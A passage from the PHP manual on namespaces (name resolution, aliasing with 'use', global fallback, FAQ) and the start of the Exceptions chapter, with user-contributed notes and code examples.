include('namespaced.php');
include('global.php');

  $foo = new Foo();

  $a = $foo->factory('A');        // Mypackage\A::__construct
  $b = $foo->factory('B');        // Mypackage\B::__construct

  $a2 = $foo->factory('A',TRUE);    // A::__construct
  $b2 = $foo->factory('B',TRUE);    // Will produce : Fatal error: Class 'B' not found in ...namespaced.php on line ...
?>
Alexander Kirk 06-Jul-2011 09:57
When extending a class from another namespace that should instantiate a class from within the current namespace, you need to pass on the namespace.

<?php // File1.php
namespace foo;
class A {
    public function factory() {
        return new C;
    }
}
class C {
    public function tell() {
        echo "foo";
    }
}
?>

<?php // File2.php
namespace bar;
class B extends \foo\A {}
class C {
    public function tell() {
        echo "bar";
    }
}
?>

<?php
include "File1.php";
include "File2.php";
$b = new bar\B;
$c = $b->factory();
$c->tell(); // "foo" but you want "bar"
?>

You need to do it like this:

When extending a class from another namespace that should instantiate a class from within the current namespace, you need to pass on the namespace.

<?php // File1.php
namespace foo;
class A {
    protected $namespace = __NAMESPACE__;
    public function factory() {
        $c = $this->namespace . '\C';
        return new $c;
    }
}
class C {
    public function tell() {
        echo "foo";
    }
}
?>

<?php // File2.php
namespace bar;
class B extends \foo\A {
    protected $namespace = __NAMESPACE__;
}
class C {
    public function tell() {
        echo "bar";
    }
}
?>

<?php
include "File1.php";
include "File2.php";
$b = new bar\B;
$c = $b->factory();
$c->tell(); // "bar"
?>

(it seems that the namespace-backslashes are stripped from the source code in the preview, maybe it works in the main view. If not: fooA was written as \foo\A and barB as bar\B)
scott at intothewild dot ca 08-Aug-2009 12:33
as noted by guilhermeblanco at php dot net,

<?php

  // fact.php

  namespace foo;

  class fact {

    public function create($class) {
      return new $class();
    }
  }

?>

<?php

  // bar.php

  namespace foo;

  class bar {
  ...
  }

?>

<?php

  // index.php

  namespace foo;

  include('fact.php');

  $foofact = new fact();
  $bar = $foofact->create('bar'); // attempts to create \bar
                                  // even though foofact and
                                  // bar reside in \foo

?>
guilhermeblanco at php dot net 16-Jun-2009 09:04
Please be aware of FQCN (Full Qualified Class Name) point.
Many people will have troubles with this:

<?php

// File1.php
namespace foo;

class Bar { ... }

function factory($class) {
    return new $class;
}

// File2.php
$bar = \foo\factory('Bar'); // Will try to instantiate \Bar, not \foo\Bar

?>

To fix that, and also incorporate a 2 step namespace resolution, you can check for \ as first char of $class, and if not present, build manually the FQCN:

<?php

// File1.php
namespace foo;

function factory($class) {
    if ($class[0] != '\\') {
        echo '->';
         $class = '\\' . __NAMESPACE__ . '\\' . $class;
    }

    return new $class();
}

// File2.php
$bar = \foo\factory('Bar'); // Will correctly instantiate \foo\Bar

$bar2 = \foo\factory('\anotherfoo\Bar'); // Wil correctly instantiate \anotherfoo\Bar

?>


namespace keyword and __NAMESPACE__ constant

(PHP 5 >= 5.3.0)

PHP supports two ways of abstractly accessing elements within the current namespace, the __NAMESPACE__ magic constant, and the namespace keyword.

The value of __NAMESPACE__ is a string that contains the current namespace name. In global, un-namespaced code, it contains an empty string.

Example #1 __NAMESPACE__ example, namespaced code

<?php
namespace MyProject;

echo '"', __NAMESPACE__, '"'; // outputs "MyProject"
?>

Example #2 __NAMESPACE__ example, global code

<?php

echo '"', __NAMESPACE__, '"'; // outputs ""
?>
The __NAMESPACE__ constant is useful for dynamically constructing names, for instance:

Example #3 using __NAMESPACE__ for dynamic name construction

<?php
namespace MyProject;

function get($classname)
{
    $a = __NAMESPACE__ . '\\' . $classname;
    return new $a;
}
?>

The namespace keyword can be used to explicitly request an element from the current namespace or a sub-namespace. It is the namespace equivalent of the self operator for classes.

Example #4 the namespace operator, inside a namespace

<?php
namespace MyProject;

use blah\blah as mine; // see "Using namespaces: Aliasing/Importing"

blah\mine(); // calls function MyProject\blah\mine()
namespace\blah\mine(); // calls function MyProject\blah\mine()

namespace\func(); // calls function MyProject\func()
namespace\sub\func(); // calls function MyProject\sub\func()
namespace\cname::method(); // calls static method "method" of class MyProject\cname
$a = new namespace\sub\cname(); // instantiates object of class MyProject\sub\cname
$b = namespace\CONSTANT; // assigns value of constant MyProject\CONSTANT to $b
?>

Example #5 the namespace operator, in global code

<?php

namespace\func(); // calls function func()
namespace\sub\func(); // calls function sub\func()
namespace\cname::method(); // calls static method "method" of class cname
$a = new namespace\sub\cname(); // instantiates object of class sub\cname
$b = namespace\CONSTANT; // assigns value of constant CONSTANT to $b
?>

User Contributed Notes

a dot schaffhirt at sedna-soft dot de 03-Feb-2010 03:24
Just in case you wonder what the practical use of the namespace keyword is...

It can explicitly refer to classes from the current namespace regardless of possibly "use"d classes with the same name from other namespaces. However, this does not apply for functions.

Example:

<?php
namespace foo;
class Xyz {}
function abc () {}
?>

<?php
namespace bar;
class Xyz {}
function abc () {}
?>

<?php
namespace bar;
use foo|Xyz;
use foo|abc;
new Xyz(); // instantiates \foo\Xyz
new namespace|Xyz(); // instantiates \bar\Xyz
abc(); // invokes \bar\abc regardless of the second use statement
|foo|abc(); // it has to be invoked using the fully qualified name
?>

(Sorry, I had to use "|" instead of "\", as it was always discarded in the preview, except within a comment.)

Hope, this can save someone from some trouble.

Best regards.


Using namespaces: Aliasing/Importing

(PHP 5 >= 5.3.0)

The ability to refer to an external fully qualified name with an alias, or importing, is an important feature of namespaces. This is similar to the ability of unix-based filesystems to create symbolic links to a file or to a directory.

All versions of PHP that support namespaces support three kinds of aliasing or importing: aliasing a class name, aliasing an interface name, and aliasing a namespace name. PHP 5.6+ also allows aliasing or importing function and constant names.

In PHP, aliasing is accomplished with the use operator. Here is an example showing all 5 kinds of importing:

Example #1 importing/aliasing with the use operator

<?php
namespace foo;
use My\Full\Classname as Another;

// this is the same as use My\Full\NSname as NSname
use My\Full\NSname;

// importing a global class
use ArrayObject;

// importing a function (PHP 5.6+)
use function My\Full\functionName;

// aliasing a function (PHP 5.6+)
use function My\Full\functionName as func;

// importing a constant (PHP 5.6+)
use const My\Full\CONSTANT;

$obj = new namespace\Another; // instantiates object of class foo\Another
$obj = new Another; // instantiates object of class My\Full\Classname
NSname\subns\func(); // calls function My\Full\NSname\subns\func
$a = new ArrayObject(array(1)); // instantiates object of class ArrayObject
// without the "use ArrayObject" we would instantiate an object of class foo\ArrayObject
func(); // calls function My\Full\functionName
echo CONSTANT; // echoes the value of My\Full\CONSTANT
?>
Note that for namespaced names (fully qualified namespace names containing namespace separator, such as Foo\Bar as opposed to global names that do not, such as FooBar), the leading backslash is unnecessary and not recommended, as import names must be fully qualified, and are not processed relative to the current namespace.

PHP additionally supports a convenience shortcut to place multiple use statements on the same line

Example #2 importing/aliasing with the use operator, multiple use statements combined

<?php
use My\Full\Classname as Another, My\Full\NSname;

$obj = new Another; // instantiates object of class My\Full\Classname
NSname\subns\func(); // calls function My\Full\NSname\subns\func
?>

Importing is performed at compile-time, and so does not affect dynamic class, function or constant names.

Example #3 Importing and dynamic names

<?php
use My\Full\Classname as Another, My\Full\NSname;

$obj = new Another; // instantiates object of class My\Full\Classname
$a = 'Another';
$obj = new $a;      // instantiates object of class Another
?>

In addition, importing only affects unqualified and qualified names. Fully qualified names are absolute, and unaffected by imports.

Example #4 Importing and fully qualified names

<?php
use My\Full\Classname as Another, My\Full\NSname;

$obj = new Another; // instantiates object of class My\Full\Classname
$obj = new \Another; // instantiates object of class Another
$obj = new Another\thing; // instantiates object of class My\Full\Classname\thing
$obj = new \Another\thing; // instantiates object of class Another\thing
?>

Scoping rules for importing

The use keyword must be declared in the outermost scope of a file (the global scope) or inside namespace declarations. This is because the importing is done at compile time and not runtime, so it cannot be block scoped. The following example will show an illegal use of the use keyword:

Example #5 Illegal importing rule

<?php
namespace Languages;

class Greenlandic
{
    use Languages\Danish;

    ...
}
?>

Note:

Importing rules are per file basis, meaning included files will NOT inherit the parent file's importing rules.

User Contributed Notes

anon 31-Jan-2014 06:08
The <?php use ?> statement does not load the class file. You have to do this with the <?php require ?> statement or by using an autoload function.
k at webnfo dot com 07-Apr-2013 10:32
Note that you can not alias global namespace:

use \ as test;

echo test\strlen('');

won't work.
Anonymous 03-Apr-2013 07:02
The last example on this page shows a possibly incorrect attempt of aliasing, but it is totally correct to import a trait \Languages\Languages\Danish.
cl 11-Mar-2013 09:59
Something that is not immediately obvious, particular with PHP 5.3, is that namespace resolutions within an import are not resolved recursively.  i.e.: if you alias an import and then use that alias in another import then this latter import will not be fully resolved with the former import.

For example:
use \Controllers as C;
use C\First;
use C\Last;

Both the First and Last namespaces are NOT resolved as \Controllers\First or \Controllers\Last as one might intend.
x at d dot a dot r dot k dot REMOVEDOTSANDTHIS dot gray dot org 02-Jan-2013 02:13
You are allowed to "use" the same resource multiple times as long as it is imported under a different alias at each invocation.

For example:

<?php
use Lend;
use Lend\l1;
use Lend\l1 as l3;
use Lend\l2;
use Lend\l1\Keller;
use Lend\l1\Keller as Stellar;
use Lend\l1\Keller as Zellar;
use Lend\l2\Keller as Dellar;

...

?>

In the above example, "Keller", "Stellar", and "Zellar" are all references to "\Lend\l1\Keller", as are "Lend\l1\Keller", "l1\Keller", and "l3\Keller".
samuel dot roze at gmail dot com 11-May-2012 10:34
(All the backslashes in namespaces are slashes because I can't figure out how to post backslashes here.)

You can have the same "use" for a class and a namespace. For example, if you have these files:

<?php
// foo/bar.php
namespace foo;

class bar
{
    public function __toString ()
    {
        return 'foo\bar\__toString()';
    }
}
?>

<?php
// foo/bar/MyClass.php
namespace foo/bar;

class MyClass
{
    public function __toString ()
    {
        return 'foo\bar\MyClass\__toString()';
    }
}
?>

In another namespace, you can do:
<?php
namespace another;
require_once 'foo/bar.php';
require_once 'foo/bar/MyClass.php';

use foo/bar;

$bar = new bar();
echo $bar."\n";

$class = new bar/MyClass();
echo $class."\n";
?>

And it will makes the following output:
foo\bar\__toString()
foo\bar\MyClass\__toString()
c dot 1 at smithies dot org 15-Aug-2011 12:26
If you are testing your code at the CLI, note that namespace aliases do not work!

(Before I go on, all the backslashes in this example are changed to percent signs because I cannot get sensible results to display in the posting preview otherwise. Please mentally translate all percent signs henceforth as backslashes.)

Suppose you have a class you want to test in myclass.php:

<?php
namespace my%space;
class myclass {
 // ...
}
?>

and you then go into the CLI to test it. You would like to think that this would work, as you type it line by line:

require 'myclass.php';
use my%space%myclass; // should set 'myclass' as alias for 'my%space%myclass'
$x = new myclass; // FATAL ERROR

I believe that this is because aliases are only resolved at compile time, whereas the CLI simply evaluates statements; so use statements are ineffective in the CLI.

If you put your test code into test.php:
<?php
require 'myclass.php';
use my%space%myclass;
$x = new myclass;
//...
?>
it will work fine.

I hope this reduces the number of prematurely bald people.
Jan Tvrdk 11-Jan-2011 03:26
Importing and aliasing an interface name is also supported.
thinice at gmail.com 02-Dec-2010 07:07
Because imports happen at compile time, there's no polymorphism potential by embedding the use keyword in a conditonal.

e.g.:

<?php
if ($objType == 'canine') {
  use Animal\Canine as Beast;
}
if ($objType == 'bovine') {
  use Animal\Bovine as Beast;
}

$oBeast = new Beast;
$oBeast->feed();
?>
nsdhami at live dot jp 15-Jul-2010 11:01
The "use" keyword can not be declared inside the function or method. It should be declared as global, after the "namespace" as:

<?php

namespace mydir;

// works perfectly
use mydir/subdir/Class1 as Class1;

function fun1()
{
    // Parse error: syntax error, unexpected T_USE
    use mydir/subdir/Class1 as Class1;
}

class Class2
{
    public function fun2()
    {
        // Parse error: syntax error, unexpected T_USE
        use mydir/subdir/Class1 as Class1;
    }
}
?>


Global space

(PHP 5 >= 5.3.0)

Without any namespace definition, all class and function definitions are placed into the global space - as it was in PHP before namespaces were supported. Prefixing a name with \ will specify that the name is required from the global space even in the context of the namespace.

Example #1 Using global space specification

<?php
namespace A\B\C;

/* This function is A\B\C\fopen */
function fopen() {
     /* ... */
     $f = \fopen(...); // call global fopen
     return $f;
}
?>

User Contributed Notes

xmarcos at gmail dot com 22-May-2012 04:08
That's the expected behavior, you have to declare the namespace at the top of the file to "extend" it.

If you include a global namespaced file, it will operate on the global namespace.
routinet 29-Aug-2011 08:22
Included files will default to the global namespace.
<?php
//test.php
namespace test {
  include 'test1.inc';
  echo '-',__NAMESPACE__,'-<br />';
}
?>

<?php
//test1.inc
  echo '-',__NAMESPACE__,'-<br />';
?>

Results of test.php:

--
-test-


Using namespaces: fallback to global function/constant

(PHP 5 >= 5.3.0)

Inside a namespace, when PHP encounters an unqualified Name in a class name, function or constant context, it resolves these with different priorities. Class names always resolve to the current namespace name. Thus to access internal or non-namespaced user classes, one must refer to them with their fully qualified Name as in:

Example #1 Accessing global classes inside a namespace

<?php
namespace A\B\C;
class Exception extends \Exception {}

$a = new Exception('hi'); // $a is an object of class A\B\C\Exception
$b = new \Exception('hi'); // $b is an object of class Exception

$c = new ArrayObject; // fatal error, class A\B\C\ArrayObject not found
?>

For functions and constants, PHP will fall back to global functions or constants if a namespaced function or constant does not exist.

Example #2 global functions/constants fallback inside a namespace

<?php
namespace A\B\C;

const E_ERROR = 45;
function strlen($str)
{
    return \strlen($str) - 1;
}

echo E_ERROR, "\n"; // prints "45"
echo INI_ALL, "\n"; // prints "7" - falls back to global INI_ALL

echo strlen('hi'), "\n"; // prints "1"
if (is_array('hi')) { // prints "is not array"
    echo "is array\n";
} else {
    echo "is not array\n";
}
?>

User Contributed Notes

cory at xison dot ca 02-May-2014 03:08
I want to throw it out there, I found the following easier to deal with when porting parts of some older code into a new project in regards to accessing global classes.

<?php
namespace app\somethingorother;
use \core as core;

core::set_something();

?>

I know it's not exactly the same as the solutions mentioned above, but it works for what I'm trying to accomplish.


Name resolution rules

(PHP 5 >= 5.3.0)

For the purposes of these resolution rules, here are some important definitions:

Namespace name definitions
Unqualified name

This is an identifier without a namespace separator, such as Foo

Qualified name

This is an identifier with a namespace separator, such as Foo\Bar

Fully qualified name

This is an identifier with a namespace separator that begins with a namespace separator, such as \Foo\Bar. The namespace \Foo is also a fully qualified name.

Names are resolved following these resolution rules:

  1. Calls to fully qualified functions, classes or constants are resolved at compile-time. For instance new \A\B resolves to class A\B.
  2. All unqualified and qualified names (not fully qualified names) are translated during compilation according to current import rules. For example, if the namespace A\B\C is imported as C, a call to C\D\e() is translated to A\B\C\D\e().
  3. Inside a namespace, all qualified names not translated according to import rules have the current namespace prepended. For example, if a call to C\D\e() is performed within namespace A\B, it is translated to A\B\C\D\e().
  4. Unqualified class names are translated during compilation according to current import rules (full name substituted for short imported name). In example, if the namespace A\B\C is imported as C, new C() is translated to new A\B\C().
  5. Inside namespace (say A\B), calls to unqualified functions are resolved at run-time. Here is how a call to function foo() is resolved:
    1. It looks for a function from the current namespace: A\B\foo().
    2. It tries to find and call the global function foo().
  6. Inside namespace (say A\B), calls to unqualified or qualified class names (not fully qualified class names) are resolved at run-time. Here is how a call to new C() or new D\E() is resolved. For new C():
    1. It looks for a class from the current namespace: A\B\C.
    2. It attempts to autoload A\B\C.
    For new D\E():
    1. It looks for a class by prepending the current namespace: A\B\D\E.
    2. It attempts to autoload A\B\D\E.
    To reference any global class in the global namespace, its fully qualified name new \C() must be used.

Example #1 Name resolutions illustrated

<?php
namespace A;
use B\D, C\E as F;

// function calls

foo();      // first tries to call "foo" defined in namespace "A"
            // then calls global function "foo"

\foo();     // calls function "foo" defined in global scope

my\foo();   // calls function "foo" defined in namespace "A\my"

F();        // first tries to call "F" defined in namespace "A"
            // then calls global function "F"

// class references

new B();    // creates object of class "B" defined in namespace "A"
            // if not found, it tries to autoload class "A\B"

new D();    // using import rules, creates object of class "D" defined in namespace "B"
            // if not found, it tries to autoload class "B\D"

new F();    // using import rules, creates object of class "E" defined in namespace "C"
            // if not found, it tries to autoload class "C\E"

new \B();   // creates object of class "B" defined in global scope
            // if not found, it tries to autoload class "B"

new \D();   // creates object of class "D" defined in global scope
            // if not found, it tries to autoload class "D"

new \F();   // creates object of class "F" defined in global scope
            // if not found, it tries to autoload class "F"

// static methods/namespace functions from another namespace

B\foo();    // calls function "foo" from namespace "A\B"

B::foo();   // calls method "foo" of class "B" defined in namespace "A"
            // if class "A\B" not found, it tries to autoload class "A\B"

D::foo();   // using import rules, calls method "foo" of class "D" defined in namespace "B"
            // if class "B\D" not found, it tries to autoload class "B\D"

\B\foo();   // calls function "foo" from namespace "B"

\B::foo();  // calls method "foo" of class "B" from global scope
            // if class "B" not found, it tries to autoload class "B"

// static methods/namespace functions of current namespace

A\B::foo();   // calls method "foo" of class "B" from namespace "A\A"
              // if class "A\A\B" not found, it tries to autoload class "A\A\B"

\A\B::foo();  // calls method "foo" of class "B" from namespace "A"
              // if class "A\B" not found, it tries to autoload class "A\B"
?>

User Contributed Notes

dn dot permyakov at gmail dot com 11-Jul-2014 07:02
Can someone explain to me -  why do we need p.4 if we have p.2 (which covers both unqualified and qualified names)?
CJ Taylor 15-Feb-2014 06:52
It took me playing with it a bit  as I had a hard time finding documentation on when a class name matches a namespace, if that's even legal and what behavior to expect.  It IS explained in #6 but I thought I'd share this with other souls like me that see it better by example.  Assume all 3 files below are in the same directory.

file1.php
<?php
namespace foo;

class foo {
  static function hello() {
    echo "hello world!";
  }
}
?>

file2.php
<?php
namespace foo;
include('file1.php');

foo::hello(); //you're in the same namespace, or scope.
\foo\foo::hello(); //called on a global scope.
?>

file3.php
<?php
include('file1.php');

foo\foo::hello(); //you're outside of the namespace
\foo\foo::hello(); //called on a global scope.
?>

Depending upon what you're building (example: a module, plugin, or package on a larger application), sometimes declaring a class that matches a namespace makes sense or may even be required.  Just be aware that if you try to reference any class that shares the same namespace, omit the namespace unless you do it globally like the examples above.

I hope this is useful, particularly for those that are trying to wrap your head around this 5.3 feature.
Kavoir.com 22-Jan-2014 07:25
For point 4, "In example, if the namespace A\B\C is imported as C" should be "In example, if the class A\B\C is imported as C".
kdimi 28-Oct-2010 03:35
If you like to declare an __autoload function within a namespace or class, use the spl_autoload_register() function to register it and it will work fine.
safakozpinar at NOSPAM dot gmail dot com 22-Oct-2010 10:04
As working with namespaces and using (custom or basic) autoload structure; magic function __autoload must be defined in global scope, not in a namespace, also not in another function or method.

<?php
namespace Glue {
    /**
     * Define your custom structure and algorithms
     * for autoloading in this class.
     */
    class Import
    {
        public static function load ($classname)
        {
            echo 'Autoloading class '.$classname."\n";
            require_once $classname.'.php';
        }
    }
}

/**
 * Define function __autoload in global namespace.
 */
namespace {

    function __autoload ($classname)
    {
        \Glue\Import::load($classname);
    }

}
?>
rangel 31-Jul-2009 09:48
The term "autoload" mentioned here shall not be confused with __autoload function to autoload objects. Regarding the __autoload and namespaces' resolution I'd like to share the following experience:

->Say you have the following directory structure:

- root
      | - loader.php
      | - ns
             | - foo.php

->foo.php

<?php
namespace ns;
class foo
{
    public $say;

    public function __construct()
    {
        $this->say = "bar";
    }

}
?>

-> loader.php

<?php
//GLOBAL SPACE <--
function __autoload($c)
{
    require_once $c . ".php";
}

class foo extends ns\foo // ns\foo is loaded here
{
    public function __construct()
    {
        parent::__construct();
        echo "<br />foo" . $this->say;
    }
}
$a = new ns\foo(); // ns\foo also loads ns/foo.php just fine here.
echo $a->say;   // prints bar as expected.
$b = new foo;  // prints foobar just fine.
?>

If you keep your directory/file matching namespace/class consistence the object __autoload works fine.
But... if you try to give loader.php a namespace you'll obviously get fatal errors.
My sample is just 1 level dir, but I've tested with a very complex and deeper structure. Hope anybody finds this useful.

Cheers!
rangel 31-Jul-2009 09:47
The term "autoload" mentioned here shall not be confused with __autoload function to autoload objects. Regarding the __autoload and namespaces' resolution I'd like to share the following experience:

->Say you have the following directory structure:

- root
      | - loader.php
      | - ns
             | - foo.php

->foo.php

<?php
namespace ns;
class foo
{
    public $say;

    public function __construct()
    {
        $this->say = "bar";
    }

}
?>

-> loader.php

<?php
//GLOBAL SPACE <--
function __autoload($c)
{
    require_once $c . ".php";
}

class foo extends ns\foo // ns\foo is loaded here
{
    public function __construct()
    {
        parent::__construct();
        echo "<br />foo" . $this->say;
    }
}
$a = new ns\foo(); // ns\foo also loads ns/foo.php just fine here.
echo $a->say;   // prints bar as expected.
$b = new foo;  // prints foobar just fine.
?>

If you keep your directory/file matching namespace/class consistence the object __autoload works fine.
But... if you try to give loader.php a namespace you'll obviously get fatal errors.
My sample is just 1 level dir, but I've tested with a very complex and deeper structure. Hope anybody finds this useful.

Cheers!


FAQ: things you need to know about namespaces

(PHP 5 >= 5.3.0)

This FAQ is split into two sections: common questions, and some specifics of implementation that are helpful to understand fully.

First, the common questions.

  1. If I don't use namespaces, should I care about any of this?
  2. How do I use internal or global classes in a namespace?
  3. How do I use namespaces classes functions, or constants in their own namespace?
  4. How does a name like \my\name or \name resolve?
  5. How does a name like my\name resolve?
  6. How does an unqualified class name like name resolve?
  7. How does an unqualified function name or unqualified constant name like name resolve?

There are a few implementation details of the namespace implementations that are helpful to understand.

  1. Import names cannot conflict with classes defined in the same file.
  2. Nested namespaces are not allowed.
  3. Neither functions nor constants can be imported via the use statement.
  4. Dynamic namespace names (quoted identifiers) should escape backslash.
  5. Undefined Constants referenced using any backslash die with fatal error
  6. Cannot override special constants NULL, TRUE, FALSE, ZEND_THREAD_SAFE or ZEND_DEBUG_BUILD

If I don't use namespaces, should I care about any of this?

No. Namespaces do not affect any existing code in any way, or any as-yet-to-be-written code that does not contain namespaces. You can write this code if you wish:

Example #1 Accessing global classes outside a namespace

<?php
$a = new \stdClass;
?>

This is functionally equivalent to:

Example #2 Accessing global classes outside a namespace

<?php
$a = new stdClass;
?>

How do I use internal or global classes in a namespace?

Example #3 Accessing internal classes in namespaces

<?php
namespace foo;
$a = new \stdClass;

function test(\ArrayObject $typehintexample = null) {}

$a = \DirectoryIterator::CURRENT_AS_FILEINFO;

// extending an internal or global class
class MyException extends \Exception {}
?>

How do I use namespaces classes, functions, or constants in their own namespace?

Example #4 Accessing internal classes, functions or constants in namespaces

<?php
namespace foo;

class MyClass {}

// using a class from the current namespace as a type hint
function test(MyClass $typehintexample = null) {}
// another way to use a class from the current namespace as a type hint
function test(\foo\MyClass $typehintexample = null) {}

// extending a class from the current namespace
class Extended extends MyClass {}

// accessing a global function
$a = \globalfunc();

// accessing a global constant
$b = \INI_ALL;
?>

How does a name like \my\name or \name resolve?

Names that begin with a \ always resolve to what they look like, so \my\name is in fact my\name, and \Exception is Exception.

Example #5 Fully Qualified names

<?php
namespace foo;
$a = new \my\name(); // instantiates "my\name" class
echo \strlen('hi'); // calls function "strlen"
$a = \INI_ALL; // $a is set to the value of constant "INI_ALL"
?>

How does a name like my\name resolve?

Names that contain a backslash but do not begin with a backslash like my\name can be resolved in 2 different ways.

If there is an import statement that aliases another name to my, then the import alias is applied to the my in my\name.

Otherwise, the current namespace name is prepended to my\name.

Example #6 Qualified names

<?php
namespace foo;
use blah\blah as foo;

$a = new my\name(); // instantiates "foo\my\name" class
foo\bar::name(); // calls static method "name" in class "blah\blah\bar"
my\bar(); // calls function "foo\my\bar"
$a = my\BAR; // sets $a to the value of constant "foo\my\BAR"
?>

How does an unqualified class name like name resolve?

Class names that do not contain a backslash like name can be resolved in 2 different ways.

If there is an import statement that aliases another name to name, then the import alias is applied.

Otherwise, the current namespace name is prepended to name.

Example #7 Unqualified class names

<?php
namespace foo;
use blah\blah as foo;

$a = new name(); // instantiates "foo\name" class
foo::name(); // calls static method "name" in class "blah\blah"
?>

How does an unqualified function name or unqualified constant name like name resolve?

Function or constant names that do not contain a backslash like name can be resolved in 2 different ways.

First, the current namespace name is prepended to name.

Finally, if the constant or function name does not exist in the current namespace, a global constant or function name is used if it exists.

Example #8 Unqualified function or constant names

<?php
namespace foo;
use blah\blah as foo;

const FOO = 1;

function my() {}
function foo() {}
function sort(&$a)
{
    \sort($a); // calls the global function "sort"
    $a = array_flip($a);
    return $a;
}

my(); // calls "foo\my"
$a = strlen('hi'); // calls global function "strlen" because "foo\strlen" does not exist
$arr = array(1,3,2);
$b = sort($arr); // calls function "foo\sort"
$c = foo(); // calls function "foo\foo" - import is not applied

$a = FOO; // sets $a to value of constant "foo\FOO" - import is not applied
$b = INI_ALL; // sets $b to value of global constant "INI_ALL"
?>

Import names cannot conflict with classes defined in the same file.

The following script combinations are legal:

file1.php

<?php
namespace my\stuff;
class MyClass {}
?>

another.php

<?php
namespace another;
class thing {}
?>

file2.php

<?php
namespace my\stuff;
include 'file1.php';
include 'another.php';

use another\thing as MyClass;
$a = new MyClass; // instantiates class "thing" from namespace another
?>

There is no name conflict, even though the class MyClass exists within the my\stuff namespace, because the MyClass definition is in a separate file. However, the next example causes a fatal error on name conflict because MyClass is defined in the same file as the use statement.

<?php
namespace my\stuff;
use another\thing as MyClass;
class MyClass {} // fatal error: MyClass conflicts with import statement
$a = new MyClass;
?>

Nested namespaces are not allowed.

PHP does not allow nesting namespaces

<?php
namespace my\stuff {
    namespace nested {
        class foo {}
    }
}
?>
However, it is easy to simulate nested namespaces like so:
<?php
namespace my\stuff\nested {
    class foo {}
}
?>

Neither functions nor constants can be imported via the use statement.

The only elements that are affected by use statements are namespaces and class names. In order to shorten a long constant or function, import its containing namespace

<?php
namespace mine;
use ultra\long\ns\name;

$a = name\CONSTANT;
name\func();
?>

Dynamic namespace names (quoted identifiers) should escape backslash

It is very important to realize that because the backslash is used as an escape character within strings, it should always be doubled when used inside a string. Otherwise there is a risk of unintended consequences:

Example #9 Dangers of using namespaced names inside a double-quoted string

<?php
$a = "dangerous\name"; // \n is a newline inside double quoted strings!
$obj = new $a;

$a = 'not\at\all\dangerous'; // no problems here.
$obj = new $a;
?>
Inside a single-quoted string, the backslash escape sequence is much safer to use, but it is still recommended practice to escape backslashes in all strings as a best practice.

Undefined Constants referenced using any backslash die with fatal error

Any undefined constant that is unqualified like FOO will produce a notice explaining that PHP assumed FOO was the value of the constant. Any constant, qualified or fully qualified, that contains a backslash will produce a fatal error if not found.

Example #10 Undefined constants

<?php
namespace bar;
$a = FOO; // produces notice - undefined constants "FOO" assumed "FOO";
$a = \FOO; // fatal error, undefined namespace constant FOO
$a = Bar\FOO; // fatal error, undefined namespace constant bar\Bar\FOO
$a = \Bar\FOO; // fatal error, undefined namespace constant Bar\FOO
?>

Cannot override special constants NULL, TRUE, FALSE, ZEND_THREAD_SAFE or ZEND_DEBUG_BUILD

Any attempt to define a namespaced constant that is a special, built-in constant results in a fatal error

Example #11 Undefined constants

<?php
namespace bar;
const NULL = 0; // fatal error;
const true = 'stupid'; // also fatal error;
// etc.
?>

User Contributed Notes

okaresz 25-Jul-2013 05:31
To correct manolachef's answer: define() ALWAYS defines constants in the GLOBAL namespace.

As nl-x at bita dot nl states in the note at http://www.php.net/manual/en/function.define.php, the constant "NULL" can be defined with define() case-sensitively, but can only be retrieved with constant(), leaving the meaning of NULL uppercase keyword as the only value of the type null.
manolachef at gmail dot com 10-Apr-2012 11:32
There is a way to define a namespaced constant that is a special, built-in constant, using define function and setting the third parameter case_insensitive to false:

<?php
namespace foo;
define(__NAMESPACE__ . '\NULL', 10); // defines the constant NULL in the current namespace
var_dump(NULL); // will show 10
var_dump(null); // will show NULL
?>

  No need to specify the namespace in your call to define(), like it happens usually
<?php
namespace foo;
define(INI_ALL, 'bar'); // produces notice - Constant INI_ALL already defined. But:

define(__NAMESPACE__ . '\INI_ALL', 'bar'); // defines the constant INI_ALL in the current namespace
var_dump(INI_ALL); // will show string(3)"bar". Nothing unespected so far. But:

define('NULL', 10); // defines the constant NULL in the current namespace...
var_dump(NULL); // will show 10
var_dump(null); // will show NULL
?>

  If the parameter case_insensitive is set to true
<?php
namespace foo;
define (__NAMESPACE__ . '\NULL', 10, true); // produces notice - Constant null already defined
?>


Exceptions

Table of Contents

  • Extending Exceptions

PHP 5 has an exception model similar to that of other programming languages. An exception can be thrown, and caught ("catched") within PHP. Code may be surrounded in a try block, to facilitate the catching of potential exceptions. Each try must have at least one corresponding catch block. Multiple catch blocks can be used to catch different classes of exceptions. Normal execution (when no exception is thrown within the try block, or when a catch matching the thrown exception's class is not present) will continue after that last catch block defined in sequence. Exceptions can be thrown (or re-thrown) within a catch block.

When an exception is thrown, code following the statement will not be executed, and PHP will attempt to find the first matching catch block. If an exception is not caught, a PHP Fatal Error will be issued with an "Uncaught Exception ..." message, unless a handler has been defined with set_exception_handler().

In PHP 5.5 and later, a finally block may also be specified after the catch blocks. Code within the finally block will always be executed after the try and catch blocks, regardless of whether an exception has been thrown, and before normal execution resumes.

The thrown object must be an instance of the Exception class or a subclass of Exception. Trying to throw an object that is not will result in a PHP Fatal Error.

Note:

Internal PHP functions mainly use Error reporting, only modern Object oriented extensions use exceptions. However, errors can be simply translated to exceptions with ErrorException.

Tip

The Standard PHP Library (SPL) provides a good number of built-in exceptions.

Example #1 Throwing an Exception

<?php
function inverse($x) {
    if (!$x) {
        throw new Exception('Division by zero.');
    }
    return 1/$x;
}

try {
    echo inverse(5) . "\n";
    echo inverse(0) . "\n";
} catch (Exception $e) {
    echo 'Caught exception: ',  $e->getMessage(), "\n";
}

// Continue execution
echo "Hello World\n";
?>

The above example will output:

0.2
Caught exception: Division by zero.
Hello World

Example #2 Exception handling with a finally block

<?php
function inverse($x) {
    if (!$x) {
        throw new Exception('Division by zero.');
    }
    return 1/$x;
}

try {
    echo inverse(5) . "\n";
} catch (Exception $e) {
    echo 'Caught exception: ',  $e->getMessage(), "\n";
} finally {
    echo "First finally.\n";
}

try {
    echo inverse(0) . "\n";
} catch (Exception $e) {
    echo 'Caught exception: ',  $e->getMessage(), "\n";
} finally {
    echo "Second finally.\n";
}

// Continue execution
echo "Hello World\n";
?>

The above example will output:

0.2
First finally.
Caught exception: Division by zero.
Second finally.
Hello World

Example #3 Nested Exception

<?php

class MyException extends Exception { }

class Test {
    public function testing() {
        try {
            try {
                throw new MyException('foo!');
            } catch (MyException $e) {
                // rethrow it
                throw $e;
            }
        } catch (Exception $e) {
            var_dump($e->getMessage());
        }
    }
}

$foo = new Test;
$foo->testing();

?>

The above example will output:

string(4) "foo!"

User Contributed Notes

